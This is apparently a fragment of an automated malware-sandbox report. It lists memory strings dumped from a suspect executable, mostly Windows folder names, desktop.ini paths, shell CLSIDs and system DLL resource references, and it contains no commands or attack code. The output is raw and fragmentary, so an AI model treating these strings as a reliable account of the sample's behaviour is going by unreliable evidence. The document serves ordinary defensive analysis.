              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\pictures\desktop.inimemstr_d3611d0a-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: xc:\users\user\appdata\local\temp\rarsfx0ymemstr_fa4e7a5b-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: onedrivememstr_e8fdd70b-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: downloadsmemstr_4911bfa3-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: picturesdmemstr_1e432987-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: local musictmemstr_3dffbe28-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: libraries memstr_1905be23-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: documents$memstr_f7841036-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 3d objects8memstr_b089129f-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: searchesmemstr_e9ac01b0-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ncacn_np0memstr_4f6031d1-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: mapifoldermemstr_f7efec5b-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 3d objectsmemstr_ddc75936-0
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: my videomemstr_df08f9b8-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: documentsmemstr_6e33e1dd-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cd burningmemstr_9e4ac271-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: camera rollomemstr_3382fa35-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\programdata\microsoft\windows\start menu\programs\accessibility\desktop.iniamemstr_934cd43b-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\programdata\microsoft\windows\start menu\programs\accessories\system tools\desktop.ini@memstr_d4e41ed2-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\programdata\microsoft\windows\start menu\programs\windows powershell\desktop.iniymemstr_bede4506-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: xr&p\s&p<s&p$s&pmemstr_8b382dcd-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: qs(`wmemstr_16b60c25-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: d:p(a;oici;fa;;;ba)(a;oici;0x1200a9;;;iu)(a;oici;fa;;;sy)ineermemstr_61cbb8e7-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .appdataomemstr_7f148bd1-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shell:::{20d04fe0-3aea-1069-a2d8-08002b30309d}\::{3dfdf296-dbec-4fb4-81d1-6a3438bcf4de}]memstr_e6ab6b49-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: documentsdmemstr_ec85e232-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .documentsmemstr_a5a45e3a-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shell:::{20d04fe0-3aea-1069-a2d8-08002b30309d}\::{24ad3ad4-a569-4530-98e1-ab02f9417aa8}]memstr_80b53569-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: music<memstr_8e74e5ea-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .musicmemstr_66033909-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: localizedresourcename@%systemroot%\system32\shell32.dll,-21770memstr_cea71c72-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: iconresource%systemroot%\system32\imageres.dll,-112memstr_2c4374b1-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: iconfile%systemroot%\system32\shell32.dllmemstr_4231c086-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: iconindex-235memstr_3cf7b6ea-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shell:::{20d04fe0-3aea-1069-a2d8-08002b30309d}\::{f86fa3ab-70d2-4fc7-9c99-fcbf05467f3a}|memstr_f0257b20-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'n46122658memstr_f3826ec9-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: clsid\{0e5aae11-a475-4c5b-ab00-c66de400274e}5memstr_1015560f-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: localizedresourcename@%systemroot%\system32\shell32.dll,-21790memstr_974ce7e1-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: infotip@%systemroot%\system32\shell32.dll,-12689memstr_2bc90001-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: iconresource%systemroot%\system32\imageres.dll,-108memstr_fddb94f2-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: iconindex-237memstr_4f8d0d36-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &p`^wmemstr_dc2d2736-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: librarymemstr_a153be3c-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: videosmemstr_42f74a33-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: startupmemstr_557a522d-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: commonmemstr_7447292f-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: sendtomemstr_e847366e-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: systemmemstr_c0624734-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cookiesmemstr_d59bbc2b-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: nethoodmemstr_595bbb01-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: historymemstr_cb1ce4f8-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: musicpmemstr_6010e98b-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: picturesmemstr_19907d8a-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: picturesbmemstr_ac4b256b-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .picturesmemstr_7ed49c15-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: videos>memstr_0cbaef1b-0
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .videosmemstr_05510030-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: downloadsdmemstr_a8eeae98-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .downloadsmemstr_4d944fbe-0
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ::{b4fb3f98-c1ea-428d-a78a-d1f5659cba93}\$currentuser$zmemstr_6aab0804-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: common desktopmemstr_8aed4ad9-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: syncsetupfoldermemstr_619a3de8-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: conflictfoldermemstr_5d3419c4-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: commonringtonesmemstr_70a16ee9-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: homegroupfoldermemstr_29f67e7f-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: accountpicturesmemstr_1e67125c-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: musiclibrarymemstr_b4314189-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: printersfoldermemstr_4cd4453c-0
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: common programsmemstr_40e38fd0-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: common startupmemstr_d8c46ed7-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: roaming tilesmemstr_2a89e171-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: userprofilesmemstr_825848cb-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: local downloadsmemstr_94506878-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: videoslibrarymemstr_cfc0403f-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: internetfoldermemstr_ced771d3-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: appdatadesktopmemstr_d8806581-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: publiclibrariesmemstr_409b196e-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: savedpicturesmemstr_a8e543e9-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: quick launchmemstr_4ed16c4a-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: publicgametasksmemstr_18999d14-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: local videoslmemstr_c60cbc33-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: common appdatavmemstr_915ba06c-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: saved pictures@memstr_10128e25-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: recorded callsgmemstr_21b039e0-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: original imagesjmemstr_53896c9d-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: recorded callsqmemstr_5b5b2582-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: programfilestmemstr_42f3781b-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: programfilesx86[memstr_17912dea-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: local appdata^memstr_7d4dee00-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: appdata\local%memstr_31b7d119-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: commonpictures(memstr_ccd59ef3-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: accountpictures2memstr_795e7df6-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: commondownloads9memstr_bd555918-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: onedrivemusic<memstr_5d8c8da3-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: pictureslibrarymemstr_1bf7e670-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: localappdatalowmemstr_ff91133e-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: microsoft\windows\devicemetadatastorememstr_59e698cd-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-184memstr_751feb7d-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\shell32.dll,-4memstr_e645c639-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-3memstr_0c7bb30e-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\contacts\desktop.inimemstr_6792c4bf-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-108memstr_1eb16f96-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\favorites\desktop.inimemstr_127b232e-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-117memstr_481f1145-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: microsoft\windows\application shortcutsmemstr_7aa47fd0-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-185cmemstr_6925581c-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-113lmemstr_39e830ea-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\shell32.dll,-6ymemstr_58bc13c3-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-181bmemstr_f7ece374-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-189omemstr_d8c904f6-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-198xmemstr_77083053-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-115%memstr_3749d1af-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-183.memstr_bc06b9de-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-112memstr_27636c98-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-186memstr_448eb550-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\shell32.dll,-5memstr_e7405fd9-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\shell32.dll,-1memstr_81db349a-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\searches\desktop.inimemstr_d0384466-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\recorded callsmemstr_f4d69c7f-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\shell32.dll,-3memstr_b3f23185-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\windows\system32\windows.storage.dllmemstr_23d5a3b3-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-18memstr_580f8a88-0
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\onedrive\desktop.inimemstr_4bfa727e-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\pictures\desktop.initmemstr_4b71d778-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\videos\desktop.iniamemstr_3c34bc1d-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\downloads\desktop.inijmemstr_959379e2-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\windows\system32\windows.storage.dll memstr_68dd37db-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\shell32.dll,-2-memstr_314dc54c-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-189memstr_fc0c06fa-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: localizedresourcename@%systemroot%\system32\shell32.dll,-21779memstr_0c1d1121-0
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: infotip@%systemroot%\system32\shell32.dll,-12688memstr_1316ff4b-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: iconresource%systemroot%\system32\imageres.dll,-113memstr_9f013343-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: iconindex-236memstr_1cb6c3a8-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shell:::{20d04fe0-3aea-1069-a2d8-08002b30309d}\::{088e3905-0323-4b02-9826-5d99428e115f}rmemstr_c8e9a85a-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: localizedresourcename@%systemroot%\system32\shell32.dll,-21791memstr_544ad63e-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: infotip@%systemroot%\system32\shell32.dll,-12690memstr_1410b079-0
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: iconresource%systemroot%\system32\imageres.dll,-189memstr_89914b2c-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: iconindex-238memstr_64ab691e-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: clsid\{0e5aae11-a475-4c5b-ab00-c66de400274e}memstr_03ea0ea8-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: localizedresourcename@%systemroot%\system32\shell32.dll,-21798memstr_db6d0897-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: iconresource%systemroot%\system32\imageres.dll,-184memstr_ea0dfe20-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: onedrivebmemstr_dd2c42fe-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .onedrivememstr_0f11ba05-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @c:\windows\syswow64\windows.ui.immersive.dll,-38304zmemstr_c3ae8a34-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%commonprogramfiles%\system\wab32res.dll,-10100memstr_ece28722-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shell:::{bd7a2e7b-21cb-41b2-a086-b309680c6b7e}\*memstr_01a583f8-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\windows.storage.dll,-21826memstr_83f4c933-0
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\windows.storage.dll,-34582memstr_49322121-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\windows.storage.dll,-21824lwmemstr_f175f0a8-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%commonprogramfiles%\system\wab32res.dll,-10200zwmemstr_6cb359e6-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\windows.storage.dll,-21827hwmemstr_18147b52-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: pce pmemstr_ed7c1710-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: vwd}memstr_af3d7a14-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\windows.storage.dll,-34584$wv}memstr_72b67176-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\windows.storage.dll,-218182wx}memstr_459060e2-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\windows.storage.dll,-21770wj}memstr_5758860a-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\windows.storage.dll,-21823memstr_25cfee1a-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\windows.storage.dll,-21798memstr_e91c544b-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: iconresourcememstr_389a3cd7-2
